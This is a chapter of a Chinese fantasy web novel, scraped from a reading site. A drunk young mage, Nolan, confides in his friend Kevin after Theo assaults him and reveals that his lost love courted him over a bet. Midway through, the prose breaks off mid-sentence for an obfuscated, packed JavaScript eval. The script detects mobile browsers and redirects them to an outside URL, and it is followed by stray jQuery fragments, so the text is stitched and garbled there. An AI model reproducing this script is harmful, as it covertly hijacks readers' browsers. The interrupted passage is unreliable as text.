默认冷灰
24号文字
方正启体

43.第 43 章

作者:茕虬本书字数:K更新时间:
    昏黄的灯光洒在杯中,穿过透亮的冰块,在摇晃的酒里映出漂亮又澄澈的颜色,冰块与玻璃杯碰撞的声音叮当作响,奏着没有听众的单调小曲,身后交谈的声音忽远忽近,熟悉的单词似乎连成了晦涩难懂的语句,令人头昏脑涨。渐渐的,心跳的声音愈发响亮,那颗心脏在胸腔中用力地跳动,耳畔的杂音逐渐远去,天地间似乎只剩下了鸣鼓一般的心跳声、以及冰块碰撞的脆响。


    暖气被玻璃杯的寒意捕捉,化作细密的薄雾,如同洛曼德清晨最常见的天气,那些薄薄的雾聚成水滴,顺着杯壁向下流动,最终落在骨节分明的指尖上,那漂亮的手指却因为握杯太久,被冻得失去了部分知觉。手的主人却似乎不在意这个,他只是安静地看着透亮的玻璃杯,看着冰块中如丝线般细密的裂痕,那些白色丝线从同一个位置向外肆意扩散,却最终在不同的地方停下,安静地待在这个透明而寒冷的牢笼里。


    青年微张着嘴,缓缓呼出一口热气,他感到眼皮发重,甚至能听到自己眨眼的声音,他的认知在酒精的作用下开始分崩离析,仿佛只有牢牢抓住眼前的酒杯,才能维持与现实的联系。


    青年用拇指抹去玻璃杯上的薄雾,杯中的酒还剩一半,棕色的酒映出他的眼睛,头顶的灯光将他漂亮的长睫毛映得金黄,在脸上投出细长的阴影,阴影下是一对宝蓝色的双眸,左眼下方还有一颗痣——在阿诗亚的文化里,这是一颗泪痣。


    “你的眼睛真漂亮,这个颜色就像宝石一样迷人。它们很特别。”


    青年不由得想起这句他听过许多次的话,甚至能想起印在眼角泪痣上的,缓慢而深情的、湿热的吻。


    他的呼吸颤抖起来,热得发烫的泪水涌上眼眶,他闭上双眼,让那对他看过无数次的眼睛从视线中消失。


    “告诉我,我是一个笑话吗,凯文?”


    没有人回答,青年等来的只有调酒师将酒瓶放回柜台上的声音,那些造型别致的酒瓶放在精心擦拭过的木质吧台上,发出沉闷的响声。


    “我的人生、我的朋友、我靠努力所争取来的一切,甚至我的身份,都只是上位者们的施舍吗?”棕色卷发的青年喃喃着发问道,他听到自己的呼吸变得愈发沉重,“我没有背景和出身,只是个普通人,这也有错吗?”


    “我做着比他人繁重的工作,我完成了那些无人敢接的课题,到头来我的功劳可以被所有人轻而易举地抢走,只因为我是个无名无姓的普通人。”青年垂着眸子,饮下一口酒,冰凉而顺滑的液体顺着舌头流入喉咙,酒精在他的口腔中四散开来,不同风味的糖浆在舌尖滑过,被掩盖的苦味紧接着找上了他,青年的眉头皱了皱。


    “我并不是不知道那些事的笨蛋,我只是不在乎那些浮于表面的名利,也没有精力去想那些事情。”又一口酒饮下,青年感觉自己的脸愈发滚烫,身体却怪异地感到寒冷,他缩了缩肩膀,脑袋昏昏沉沉地耷拉着,“我到底做错了什么?”


    如雕像一般沉默的阿诗亚男子终于叹了口气,与想象中不同的,他轻而易举地从青年手中拿走了那杯棕色的酒。


    “你喝太多了,阿兰。你已经开始讲芙兰茨语了。”凯文·卢卡斯看着那杯棕色的酒,神色平静地说着芙兰茨的语言,“你今天才出院,我可不记得医嘱里有喝酒这一条。”


    “我能随时切换三种语言。”手中的酒杯被夺去,诺兰感到一阵说不上来的失落,他怔怔地盯着自己湿漉漉的指尖,沉默片刻后,他才稍微坐直了身子,看向旁边的老朋友,“呃,我真的在说芙兰茨语?”


    “你不该多喝刚才那口酒的,你这聪明的酒鬼。”凯文颇为头疼地摸了摸额头,他抬起手,往诺兰那头柔软的棕色卷发上搓了一把,“你很少抱怨,阿兰,谁说你坏话了?”


    诺兰揉了一把脸,有气无力地抬起眸子,又觉得眼皮太重,最后还是将视线移回了木桌上,他不知道如何开口,只是怔怔地看着前方,仿佛能将这张漂亮的木桌盯出一个滑稽的洞来。


    不知道是不是酒精的原因,诺兰有点不记得自己是怎么来到酒吧的了,也不记得自己点了什么酒,甚至不记得自己什么时候向凯文送去了传信的魔法使,只记得自己像逃难一样撞进酒吧里,接着记忆的画面跳跃了,那杯棕色的酒已经出现在他的掌心中,酒精已经渗透进血液的每一处角落,他悲伤而无言地喝着酒,直到凯文赶到他的身旁。


    诺兰抬手捂住脸,挡住了视线里昏黄的灯光,仿佛这样做就能忘却那些令他心痛到胸闷的语句。


    西奥·兰彻斯特粗暴地把他摁在墙上,撞得他胸口一阵发闷,有着精致纽扣的西装袖子在他的视线中放大,紧接着抵在了他的喉咙上。诺兰感到一阵难受,他下意识地想干呕,却被西奥更用力地抵住了喉头。


    “我真的受够你了,该死的诺兰·尤。”这句话燃烧着浓浓的怒火,过大的音量震得诺兰的耳膜嗡嗡作响,诺兰难受地挣扎起来,在余光里看到了西奥愤怒到扭曲的面容,“你到底还要抢走我多少东西?”


    “我不明白……”诺兰艰难地挤出这句话,他难受地咳了几声,仰起头对上那双似曾相识的蓝色双眼,“放开我,西奥……”


    “你抢走我堂兄珀尔修斯的全部视线还不够吗,你这一文不值的贱人,如今你还要抢走雷诺爵士?只要你在,雷诺爵士永远不会正眼看我,哪怕只有一眼!我那可笑的堂兄也是如此,他的眼睛里永远只有你!”仿佛是听到了世界上最可笑的笑话,西奥表情扭曲地笑了起来,眼睛里翻涌着无尽的恨意,“我都听说了,他要跟你们龙灾部合作,多么可笑,龙灾部连给他擦鞋都不配!”


    诺兰震惊地睁大了双眼,他无措地摇着头,从喉咙间断断续续地挤出含糊不清的话语:“你的堂兄很爱你,西奥,珀尔修斯他……”


    “别提他的名字,尤,你没这个资格提他的名字!”西奥几乎是咆哮着说道,“你害死了他,他的尸骨到现在都没找到,都是你的错!”


    诺兰因这句话而僵住了身体,甚至忘记了呼吸,深埋在脑海中的悲痛记忆找上了他,他至今无法忘却那个不见踪影的青年,曾与他共享喜与悲、与他亲密无间的珀尔修斯·兰彻斯特——西奥的堂兄,在十年前的战争中失去了踪迹,至今没找到他的下落,或者说是尸骨。


    人们都说珀尔修斯被埋在了崩塌山体的最深处,兰彻斯特家族一直没有放弃寻找,但多年寻找无果后,他们不得不面对残酷的现实——那个曾有无限光明前途的青年大概率已经死亡——兰彻斯特家族至今仍然处在失去年轻继承人的巨大阴霾之中。


    诺兰一直因为珀尔修斯的死亡而感到自责,十年来都是如此,他忍受着西奥的无理取闹,只是因为他认为这是他该得的报应——如果不是为了寻找诺兰,珀尔修斯或许不会踏上残酷的战场,最后在硝烟中失去踪迹。


    “你不知道吧,尤。”像是想起了什么,西奥狰狞地笑了起来,那个笑容令诺兰感到胆寒,“你真的以为我堂兄真心实意地爱着你吗?大错特错了,诺兰·尤。”


    诺兰睁大了双眼,周围的空气似乎凝滞,西奥的嘴唇在他的视线里缓慢地移动着,说出了那句足以撕开诺兰的心脏、击溃理智的话语:


    “他只是在一个愚蠢的真心话大冒险中打赌输了,所以才会去接近你这穷酸的书呆子。结果他真的爱上你了,多么可笑?布瑞登的三大贵族之一,会爱上你这个可怜的穷鬼——”


    或许是创伤后的保护机制,剩下的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361062|186679||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    话语诺兰已经忘记了,他只记得自己强忍着泪水,用力地推开了西奥,不顾奥法司的魔法禁令,狼狈地使用传送法术逃走了。


    他传送到了尾巴毛小镇附近的树林里,孤身一人在树林里哭了很久,待泪水几乎流干,大脑因缺氧而无法思考,他才浑浑噩噩地拖着身子撞进了天知道酒吧,直到现在,被赶来的好友夺走了手中的酒杯。


    决堤的泪水从眼眶中涌出,回忆里的那些欢笑和悲伤竟然建立在一个可笑的谎言上,诺兰捂着脸哭泣,浮光掠影的泡沫被戳破,无尽而黑暗的绝望吞噬着那些曾经美好的回忆。


    黑魔法、黑巫师组织,还有旷日持久遭到的不公平对待,那些负面的情绪都如同雪崩一般愈演愈烈地向诺兰砸来,酒精放大了感官、还有念头,这么多年来,他一直苦苦支撑着,用过多的工作去麻痹自己,生怕别人看穿他破碎不堪的内心。如今他终于感觉,他就快要撑不住了。


    凯文把从小一起长大的老朋友抱在怀里,耐心地拍着对方颤抖的背,他如何能不心疼这个老朋友呢,诺兰从小就失去了双亲,战争中又失去了挚友与爱人,还一直受到贵族的不公平对待和打压,换做别人早已崩溃了,诺兰一直承受着过多的悲伤,却一个人坚强地撑到了现在。凯文觉得,即便诺兰再多哭几次也毫不为过。


    不合时宜的,一个魔法使从门缝中钻进酒吧里,落在视线中的吧台上。


    别是现在,拜托。凯文皱起眉头,示意那个魔法使滚开。


    但魔法使不是能读懂眼色的人,它只是一个忠诚的信使,那些信息涌入凯文的脑海中,隶属于平民危机应对局的凯文接到了紧急任务,这种情况不常见,凯文知道事情越拖只会越严重。


    诺兰不知什么时候停止了哭泣,他一抽一抽地吸着气,睫毛和脸上的泪水在灯光下映出金色的反光,他没有抬头看凯文,只是全身无力地坐在座椅上,断断续续地用芙兰茨语说:“去吧,凯文,我没事……”


    “你看起来跟‘没事’一点都不沾边!”凯文怎么不了解自己这位从小一起长大的好友,当诺兰说自己“没事”的时候,通常已经在崩溃的边缘了,但那突如其来的紧急任务无法推脱,凯文感觉自己像被架在火上烤,“我让萨恩来,阿兰,别一个人想不开。”


    “萨尼今天回家了。”诺兰的声音听起来闷闷的,没什么力气,他趴在吧台上,眼神有着无法聚焦,凯文猜是酒精的作用,也可能诺兰真的哭得没力气思考了。凯文甚至开始庆幸诺兰多喝了那口酒。


    “那就里欧·亨特,或者希恩·怀特,克拉里蒙德离这里这么近,他们总有人可以来接你,阿兰。”凯文的语气十分焦急,他不能再拖了,紧急任务的火已经烧得他脚底板发疼了,“明天我要去撕了西奥的皮。”


    “注意安全,凯文……”诺兰的头耷拉了下去,或许是因为哭过后大脑缺氧,加上酒精的作用,诺兰很快就趴在桌子上睡了过去。


    凯文感到一阵自责,偏偏是这时候有无法推脱的紧急任务,他气得想给自己一巴掌。


    “我会看好他的。”一直忙于工作的调酒师发话了,他留着一头长发,没人知道他到底是男是女,他的胸口前别着“阿兰那”的名牌,但最让人感到诡异的,是他那双眼睛,瞳孔是像羊一样的横瞳,令人不敢直视。


    但在巫师小镇的酒吧里,出现什么人都不奇怪,哪怕是与创世神阿兰那同名的、有着横瞳的调酒师。客人们总是嘲笑说,这家伙过于崇拜早已销声匿迹的创世神,甚至让自己也叫这个名字。


    凯文相信这位调酒师,因为诺兰十分信任他:“麻烦你了,下次我会多喝两杯酒的。”


    “随时欢迎。”调酒师目送着老顾客匆匆离去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)